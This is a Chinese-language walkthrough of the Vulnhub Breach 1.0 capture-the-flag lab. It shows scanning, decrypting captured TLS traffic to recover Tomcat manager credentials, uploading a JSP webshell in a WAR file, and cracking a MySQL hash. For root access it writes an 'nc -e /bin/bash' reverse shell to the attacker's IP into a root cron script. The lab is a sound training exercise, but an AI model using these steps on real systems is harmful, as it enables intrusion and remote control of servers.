Vulnhub 靶机 Breach 1.0 write up

Vulnhub 靶机 Breach 1.0

0x00 环境准备

  • 下载链接

      https://download.vulnhub.com/breach/Breach-1.0.zip
    
  • 靶机配置

    Vm虚拟机打开
    虚拟机ip 已配置为 静态 ip 192.168.110.140
    将网卡设置为 仅主机模式 网段配位 192.168.110.0
    kali 攻击机 也配置该网卡
    Vulnhub 靶机 Breach 1.0 write up

  • 目标

root权限或flag文件

0x01 信息收集

  • 靶机ip探测
    已经知道是 192.168.110.140 ping一下试试 是否已开启
    Vulnhub 靶机 Breach 1.0 write up
    开启成功

  • 端口服务识别

(1)nmap扫

	nmap -sC -sV -A -p- 192.168.110.140 -o port.txt

(2)发现扫描速度贼慢,可能开放端口过多用masscan试试

	masscan --rate=1000 --ports=0-65535 192.168.110.140

Vulnhub 靶机 Breach 1.0 write up
(3)应该是对端口扫描做了防护措施
直接尝试测试常见端口吧 比如web80.

0x02漏洞挖掘

思路一:web 漏洞挖掘

步骤一:80web漏洞挖掘

(1)查看首页 顺便进行目录遍历

Vulnhub 靶机 Breach 1.0 write up
首页内容 大概翻译为 此次被攻击是前员工造成,那可能会留下后门之类吧。

图片可以点击 跳转到
http://192.168.110.140/initech.html 链接
Vulnhub 靶机 Breach 1.0 write up

python3 dirsearch.py -u "http://192.168.110.140/" -e "*"

没有扫出有用的信息
Vulnhub 靶机 Breach 1.0 write up
在 images目录中 存在几张图片
Vulnhub 靶机 Breach 1.0 write up
wget 下载后 发现 一处存在可疑字符串

string bill.png

tEXtComment
coffeestains
Vulnhub 靶机 Breach 1.0 write up

(2)查看源码

Vulnhub 靶机 Breach 1.0 write up
像base64加密数据

(3)base64解密

两次解密 得到

pgibbons:damnitfeel$goodtobeagang$ta

Vulnhub 靶机 Breach 1.0 write up

(4)用获取到的账号密码尝试登录

http://192.168.110.140/impresscms/user.php

账号:pgibbons 密码: damnitfeel$goodtobeagang$

登录成功

(5) inbox 中发现三封邮件

Vulnhub 靶机 Breach 1.0 write up
Vulnhub 靶机 Breach 1.0 write up
Vulnhub 靶机 Breach 1.0 write up
Vulnhub 靶机 Breach 1.0 write up
最后一个邮件中 提到一个ssl证书 链接在 192.168.110.140/.keystore
下载 看看
(6)发现攻击者攻击过程的pcap包

http://192.168.110.140/impresscms/modules/content/content.php?content_id=1&page=ssl-implementation-test-capture

他们告诉我别名storepassword 和keypassword 都设置为’tomcat’
Vulnhub 靶机 Breach 1.0 write up

步骤二:分析利用攻击者攻击步骤

(1)将pcap包用wireshark打开

发现有数据在8443端口以https协议通信

Vulnhub 靶机 Breach 1.0 write up
telnet 192.168.110.140 8443
发现开启
Vulnhub 靶机 Breach 1.0 write up

(2)解密keystore

列出keysotre密钥库中的所有证书

keytool -list -keystore keystore

Vulnhub 靶机 Breach 1.0 write up
从keystore 密钥库中导出名为tomcatkeystore 的证书

keytool -importkeystore -srckeystore keystore -destkeystore tomcatkeystore -deststoretype pkcs12 -srcalias tomcat

Vulnhub 靶机 Breach 1.0 write up
Vulnhub 靶机 Breach 1.0 write up
(3)wireshark 导入tomcatkeystore证书

编辑-首选项-protocols-TLS-Edit- + - 添加进去证书 输入 信息 密码 OK
Vulnhub 靶机 Breach 1.0 write up
发现 https 流量已经解密成功
存在 get 请求

Vulnhub 靶机 Breach 1.0 write up
Vulnhub 靶机 Breach 1.0 write up
选中 右键复制出 值

https://192.168.110.140:8443/_M@nag3Me/html

从后续的 流量包中 也可以看出来是利用 tomcat 后台上传war包 上传 cmd.jsp马 执行id 命令 后续 进行攻击 getshell

Vulnhub 靶机 Breach 1.0 write up

步骤三:利用tomcat 上传war包 getshell

(1)访问获取到的get请求地址
https://192.168.110.140:8443/_M@nag3Me/html

发现 不论用哪个浏览器都提示安全连接失败等无法访问。

最后 百度 搜索方法 ,发现其他师傅说 打开bp就可以访问。 测试 ok。

发现有
Authorization验证

Vulnhub 靶机 Breach 1.0 write up
测试发现 请求包中 存在
Vulnhub 靶机 Breach 1.0 write up
base64解密即为 你输入的账号密码
Vulnhub 靶机 Breach 1.0 write up

因此也可以去攻击者的pcap流量包中 寻找 账号密码

(2)去pcap包找 Authorization验证 账号密码

在200响应前的 包中 找到
账号密码wireshark中 可以直接看到 复制值
tomcat:Tt\5D8F(#!*u=G)4m7zB

Vulnhub 靶机 Breach 1.0 write up

(3)登录

tomcat:Tt\5D8F(#!*u=G)4m7zB

https://192.168.110.140:8443/_M@nag3Me/html

登录成功
为tomcat后台

Vulnhub 靶机 Breach 1.0 write up

从报错页面 以及后台底部都可以看到 tomcat版本
Vulnhub 靶机 Breach 1.0 write up

Vulnhub 靶机 Breach 1.0 write up

(4)tomcat 6.0.39后台 漏洞利用waf包后门上传

参考我之前写的文章 利用漏洞

https://blog.csdn.net/YouthBelief/article/details/120947118

使用冰蝎jsp 马上传
将shell1.jsp 压缩到 shell1.zip中
将shell1.zip改名为 shell1.war
上传
Vulnhub 靶机 Breach 1.0 write up

上传成功后shell1.waf 会自动解压 出现 shell1目录
Vulnhub 靶机 Breach 1.0 write up
访问 木马地址 https://192.168.110.140:8443/shell1/shell1.jsp

访问成功
Vulnhub 靶机 Breach 1.0 write up

(5)冰蝎开启代理 连接

Vulnhub 靶机 Breach 1.0 write up

连接成功
Vulnhub 靶机 Breach 1.0 write up

(6)反弹shell

发现 上传的war包隔段时间就会 会被清理 ,应该有定时删除任务,直接用冰蝎反弹一个shell保持连接。
Vulnhub 靶机 Breach 1.0 write up
或者 反弹msf cs shell
Vulnhub 靶机 Breach 1.0 write up

0x03 提权

步骤四:收集信息

(1)cat /etc/passwd 找 id为1000以后的

发现milton和 blumbergh 账号 可能会有用
Vulnhub 靶机 Breach 1.0 write up

(2)翻文件 看有没有数据库配置文件及其他有用文件

在 /var/www/5446发现两个文件名比较可疑的文件 下载下来看看

download 0d93f85c5061c44cdffeb8381b2772fd.php ./
download fe4db1f7bc038d60776dcb66ab3404d5.php ./

Vulnhub 靶机 Breach 1.0 write up
cat 查看
发现为数据库配置文件 账号 root 密码为空

Vulnhub 靶机 Breach 1.0 write up

(3)连接数据库

msf 中 shell 连接 mysql后 回显有问题
无回显 无法确定连接是否成功

Vulnhub 靶机 Breach 1.0 write up

冰蝎反弹一个shell也无回显 。
最后 直接用冰蝎连接数据库
无密码连接成功

Vulnhub 靶机 Breach 1.0 write up

select User,Password from mysql.user;

Vulnhub 靶机 Breach 1.0 write up
从 mysql库的user表中 获取到 milton的账号密码
milton |6450d89bd3aff1d893b85d3ad65d2ec2|

(4)MD5解密

thelaststraw
Vulnhub 靶机 Breach 1.0 write up

(5)以tomcat6账号su切换到 milton账号

获取到账号 milton的密码 thelaststraw

python -c 'import pty;pty.spawn("/bin/bash")'

su milton

thelaststraw

Vulnhub 靶机 Breach 1.0 write up

(6)查看 milton目录下的.bash_history历史命令

Vulnhub 靶机 Breach 1.0 write up
发现 有 su blumbergh

尝试后发现需要密码

(7)尝试 su blumbergh 切换到 blumbergh账号

密码 采用 之前搜集到的所有密码进行尝试
最后通过 bill.png 中的 coffeestains 登录成功
Vulnhub 靶机 Breach 1.0 write up

(8)查看blumbergh账号的历史命令

Vulnhub 靶机 Breach 1.0 write up
cd /usr/share/cleanup
cat tidyup.sh

比较可疑

Vulnhub 靶机 Breach 1.0 write up
发现是root文件,不过没有写入权限。
是一段清理脚本,描述中说明每3分钟执行清理,删除webapps目录下的文件,因此之前tomcat后台上传的马总是被删除,需要重新上传。

(9)利用 该定时任务提权

  • 向tidyup.sh中写入反弹shell命令

tidyup.sh文件只有root可写,而能够以root权限运行tee命令,那么用tee命令写tidyup.sh:先将反弹shell命令写入shell.txt文件,使用bash反弹shell命令没有成功,于是使用nc命令反弹shell成功,所以写nc反弹命令:

echo "nc -e /bin/bash 192.168.110.128 5555" > shell.txt
  • 再使用tee命令将shell.txt内容输出到tidyup.sh

    cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

  • 查看tidyup.sh文件写入成功:

    cat /usr/share/cleanup/tidyup.sh
    Vulnhub 靶机 Breach 1.0 write up

  • nc监听等待反弹shell,查看权限是root。

Vulnhub 靶机 Breach 1.0 write up

(10)提权成功后 获取flag

先以pthon 启动一个终端 方便使用

python -c 'import pty;pty.spawn("/bin/bash")'

看看计划任务

cat /var/spool/cron/crontabs/root 

果然和之前那个文件描述的一样每三分钟执行一次tidyup.sh
Vulnhub 靶机 Breach 1.0 write up

启动python http服务 下载flag失败

于是 考虑 将图片拷贝到 冰蝎马可以访问的目录 /home/milton/ 中 下载到windows中 打开

cp flair.jpg /home/milton/flair.jpg

Vulnhub 靶机 Breach 1.0 write up
Vulnhub 靶机 Breach 1.0 write up
右键下载windows打开图片 读取到flag

i need to talk about your flair

我得谈谈你的天赋
Vulnhub 靶机 Breach 1.0 write up

0x04 总结

该靶场难度较高
考点在于
(1)主要考点 在信息收集 对网站各个功能点 信息的分析能力

(2)使用keytool 工具 导出ssl证书,导入到wireshark 解密经过ssl加密的流量获取到后台url和登录账号密码。
(3) tomcat后台上传的马还会被定时清理,就考虑到有定时任务。对后期提权也有帮助。
(4)msf获取的shell 连接数据库有问题,无回显,后来用冰蝎自带的连接数据库功能查出mysql库中user表的username,password字段值。
(5)提权部分考点是定时任务反弹rootshell 提权,经过两个账号的历史命令翻到关键信息,才找到 有root权限的 定时清理脚本位置, 而脚本没有写入权限 通过tee 命令 修改为反弹shell才反弹回root权限。

上一篇:UP主怎么选?品牌营销目的决策UP主投放方向


下一篇:b站学习-up主:像素范 视频:B端产品设计实战内容【且曼B端产品分享】